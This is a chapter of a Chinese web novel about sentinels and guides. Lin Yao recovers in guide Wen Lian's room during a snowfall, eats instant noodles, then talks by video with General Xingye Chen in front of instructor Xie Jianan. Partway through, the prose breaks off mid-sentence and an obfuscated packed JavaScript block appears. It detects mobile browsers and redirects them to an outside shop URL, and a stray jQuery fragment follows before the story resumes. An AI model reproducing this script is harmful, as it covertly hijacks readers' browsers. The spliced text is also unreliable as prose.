49.照看
作品:《欸?我不是天才哨兵吗?》 “你……”温莲迟疑地看着她,他还不知道今天滑雪场发生了什么。
林曜眼睛黑漆漆的,人比平时沉默,她看了眼温莲身后,问:“能进去说话吗?”
温莲这才意识到自己维持着开门的姿势把人堵在门口,他退后一步:“抱歉。”
林曜往前走了一步,停住,再次确认:“我可以进去吗?”
“当然。”温莲说。
林曜这才继续往里面走,房间里开着一盏暖色的小灯,窗户对着后面的街道,暗蓝色的时间,天将黑未黑,雪正落下来。
她一眼就看到房间里的橘色小沙发,那张躺起来很舒服的小沙发。
温莲在后面关门,手指挪到锁扣的位置往右拧了一下,房门被锁住。这是下意识的行为,为了安全,为了不让突如其来的人打扰,他不知道,他只是这么做了,这是他身为一个向导的本能。
“你需要休息。”
听到温莲的声音,她睁开眼睛,温莲递来一条干净的手巾,她应该接过来,在想象中她已经抬起了手,可现实里她只是动了动手指,依然仰头倒在沙发上。
“好累。”她说。
“我可以帮你吗?”温莲轻声问。
没有回答,但她闭上了眼睛。轻柔的触碰第一下落在她的睫毛上。
像擦拭教堂里的白色神像,温莲认真地擦拭她睫毛上的雪花,那雪花在进屋后不久就融化了,透明的水珠潜藏在黑羽丛林,有一滴顺着眼角流淌而下。
他分不清那是眼泪还是雪,忽然想要尝一尝,很快,他克制住自己的念头。他不想吓跑她。
“外面下雪了。”她闭着眼像是在说梦话。
“我知道。”擦拭完毕,温莲收起手巾。他跪坐在沙发上,十分近距离地观察着她,他看到她脸侧有一道浅浅的红色划痕,像是树枝之类的物体造成的刮伤。
他从旁边抽屉里找出一枚创可贴,拿在手里,又觉得自己有点蠢,或许她根本不需要。
她需要吗?
再醒过来,只有门前的暖色小灯亮着,窗外完全黑了,她怎么在这里睡着了?
她手边放着一枚新的创可贴,她不明所以,坐了起来,门外有人在说话,她侧耳去听,是温莲和一个女生。
温莲对师宛说:“实在抱歉组长,今天晚上我有点不舒服,想要请假。”
师宛谅解地说:“没关系,你今天好好休息,你那边的三位哨兵就交给我照看。”
“谢谢组长,麻烦你了。”温莲道谢。
“你有什么需要的直接和我说,不需要跟我客气,向导小组之间要互帮互助。”
师宛拍拍他的肩膀,看他还准备回工作间,又说:“案例也不忙着今天就要整理完,身体不舒服的话还是好好休息吧。”
温莲说:“还差一点就完成了。”
师宛知道温莲是个态度极其认真的人,也不再劝,看着他走回工作间关上了门。
当看到沙发上的人影不见了的时候,温莲慌了一瞬,好在这屋子不大,除了桌子沙发,连张多余的凳子也没有,他马上看到窗户边站着一个人。
外面还在下雪,这场雪下得又大又久,后面的街道变成了白色。她望着窗外出了神,直到温莲走近,她半倚着窗户回身。
“你想问什么?”
温莲说:“你想吃点东西吗?”
本来是要拒绝的,但她确实饿了。五分钟后,她捧着一桶杯面坐在沙发前的地毯上。
温莲说:“随便吃点吧,晚饭时间过了,现在只有这个。”
“我说你们向导……”发言中断,她用塑料叉子叉起一大口泡面,心满意足地塞进嘴里。
温莲坐在桌子前托腮看着她:“我们向导怎么了?”
她打了一个嗝,但完全没有吃饱的迹象,说:“我说你们会不会太节制了一点,晚饭时间过了就没有吃的了?”
“我都习惯了。”温莲说。
林曜盘腿坐在地毯上吃完了一桶杯面,并在温莲提出要再去给她拿一桶的时候欣然同意。
她开始吃第二桶杯面,一模一样的红烧牛肉味。
温莲还是坐在桌子前托腮看着她,直到她吃完,放下空桶拿纸擦嘴,温莲才说:“你刚刚怎么了?”
“我看你早就想问了,”她一只胳膊往后靠搭在沙发上,“这也是向导的沟通技巧?”
温莲承认:“是。”
林曜眼前不由得浮现出另一位向导的脸,两人的做派简直如出一辙。她诚恳地说:“你以后一定能当贼牛的向导。”
温莲无视她的花言巧语:“你还没回答我的话。”
林曜支着一条腿,就那么看着他,温莲同样坚持,没办法了,她认输,慢吞吞说:“今天一个A级哨兵找我单挑。”
“你答应了?”
“嗯啊。”
“你真是疯了。”温莲皱起眉头。
林曜耸肩:“我赢了。”
见温莲面色凝重,林曜说:“真的,不信你去外面打听打听。”
温莲问:“你怎么赢的?”
“就那么赢的,”林曜指指自己的太阳穴,咧嘴一笑,“用我的智慧。”
温莲无语。林曜有本事他是知道的,到底本事有多大他还真不清楚。
说着话,林曜站了起来,扭扭脖子,转转手肘,简直神清气爽!她十分惊奇:“你是不是趁我睡觉对我做什么了?”
温莲正在喝水,听到这话一口水呛住。
“咳、咳咳”。
林曜还在惊诧于自己身体状态的复原,就连精神海的躁动也平息了。向导真是好东西!
过了半晌,她听温莲说:“没有。”
她歪头看着他。
温莲说:“是你自己身体好,所以休息一下就恢复了。”
“是这样吗?”她还在怀疑。
温莲肯定道:“就是这样。”
“行吧,”林曜说,“我该回去了,谢谢你的泡面,下次回索卡城请你吃大餐!”
温莲送人离开,回来之后把抽屉里那张只写了名字的表拿出来撕碎了扔进废纸篓里。
有人今天又没有预约,连本人都不知道的违规行为应该算什么都没发生过吧,总之他是什么都不会说的。
走出大门,外面的雪已经停了。林曜闻了闻自己的衣服,总觉得沾上了什么味道,又像是错觉。她的嗅觉不至于迟钝成这样。
还是有个绑定的向导好啊。
但是温莲说他还没有考资格证,那还早得很呢。
这么想着,她走回隔壁的哨兵旅馆,旅馆一楼现在炸开了锅,好几个索卡城的哨兵都聚集在一楼,讨论林曜的行踪。
仇明珠倒着坐在木椅上,下巴还搁在椅背上,念叨着:“小林学妹能去哪里啊,滑雪场也没有,回来也没有,明明都赢了怎么还搞失踪啊?”
南弋在喝一杯热奶茶,玩笑道:“不会被人绑架了吧。”她倒不怎么担心,林曜那家伙神出鬼没的,等下就自己冒出来了。
林曜一踏进旅馆大门,就听见潘圆玉在那里嚷嚷:“完了完了,这荒郊野岭的,林曜说不定真被人绑架了!”
“谁被绑架了?”
从上午就离奇消失的哨兵跟个没事人一样出现在众人面前,一楼大堂的所有视线一下子都汇聚到她身上,她难得有了些无所适从的感觉。
潘圆玉扑过来,拽着她上看下看,看她没缺胳膊少腿终于放下心来,抱怨道:“你这一天到底去哪了!大家都在找你!”
“我就在镇上走走。”林曜说。
见潘圆玉神色有点奇怪,她问:“有什么事吗?”
潘圆玉小心翼翼地说:“谢教官现在在二楼会客室等你,说你回来了直接去见她。”
“哦。”林曜表情淡淡的。
潘圆玉说:“虽然感觉谢教官凶凶的,但人很好嘞,今天还夸我呢。”
说着又要把今天的遭遇跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920974|189329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林曜扯一遍,南弋见状赶紧上来拖住潘圆玉,说:“你快去见谢教官吧,等半天了。”
林曜摆摆手就上楼去了,潘圆玉在这边不乐意了:“为什么不让我说完!”
“财不外漏懂不懂,”南弋声音很小,“大堂里这么多人,万一别人学到你的招,把你打败了怎么办?”
潘圆玉思考,赞同:“说的有道理,还是你聪明!”
楼上,林曜走到了会客室门口,门半开着,她敲了两下,推开门进去。
“谢教官,你找我?”
谢迦南正翘着二郎腿坐在单人沙发上,腿上放着一台笔记本电脑,手边一杯冒着热气的东西,原本以为是茶,林曜眼睛尖,看到杯子里的颜色,是热可可。
谢迦南看了她一眼:“你跟丁彩决斗是怎么回事,跟我原原本本说说看。”
她就知道会有这一出,应对的说辞也早想好了,正要说话,谢迦南电脑上传来一阵通知音。
谢迦南接通,对着屏幕说:“上将,她回来了,要让她过来吗?”
电脑扬声器里传出一个熟悉的声音:“来。”
林曜听出来屏幕对面是谁,掐指一算,她们是有一段时间没联系了,上次见面还是从N999号黑塔丛林的遗址出来之后。
谢迦南没发话,她也不能贸然过去,只等谢迦南跟她介绍:“星野上将要跟你说话,你过来。”
她老老实实走过去,谢迦南把电脑屏幕对着她,屏幕上星野辰外面穿着咖色毛衣,里面蓝色衬衣衣领从毛衣领口折出来,看起来很休闲,后面一排书架,像是在书房的样子。
见她过来,星野辰站了起来,脸几乎贴到镜头前,一手扶着额头,说:“你站那么远做什么?再近点让我看看。”
林曜看谢迦南,谢迦南点头说:“你站近点。”
她浅浅往前挪了两步。
“不是,”星野辰扶着额头,视线从屏幕对面穿过来,“你脸色怎么这么难看?谢迦南你这冬令营是集中营吗?训练强度这么大???”
谢迦南也犯难,她都没搞清楚这个名不见经传的索卡城哨兵怎么和帝都上将扯上了关系,现在就要面对来自上将的质疑。
谢迦南当然不会亲自解释,给林曜使了个眼神:“你自己说吧。”
要她说?
林曜公允评价:“训练强度确实挺大的。”
“不愧是你谢迦南,”星野辰笑,“那你就在那边吃点苦头,等我过几天空了过来犒劳你们。”
林曜问:“你的事查完了吗?”
“有眉目了。”
“那就好。”
两人简单交换最近动向,谢迦南全程在旁边听着,她也是长见识了,一个小小的C级哨兵连军衔都没有,居然跟星野上将说得有来有回。
来头不小啊,这林曜。
尽管还有很多要问的,碍于谢迦南在边上杵着,很多话不方便说,两人话都说得很简短。
星野辰问:“我过几天过来,有没有东西需要的,我到时候带给你。”
这是她们之前的习惯,以前动不动就十天半个月的封闭式训练,轮流出去放风的时间都是互相带东西。
她想了想,毫不客气地说:“我要一把好枪。”
一说星野辰就应下了:“这个简单,你等着。”
谢迦南本来想说什么冬令营纪律之类的,见两人聊得旁若无人,插不进去话,于是只在一旁听着。
终于,两人说完了,林曜把屏幕推回去,屏幕里星野辰已经坐回了椅子里,手里握着一支没拧开盖子的钢笔,对谢迦南说:“谢教官,她是我看重的人,你好好照看她。”
谢迦南说是。星野辰那边挂线。
谢迦南本来要问丁彩和她对决的细节,被星野辰这么一打断也不预备再问了,只是说:“今天决斗表现不错,继续保持,先回去吧。”
林曜站在旁边望天。
别说,被大佬罩的感觉真是爽啊。

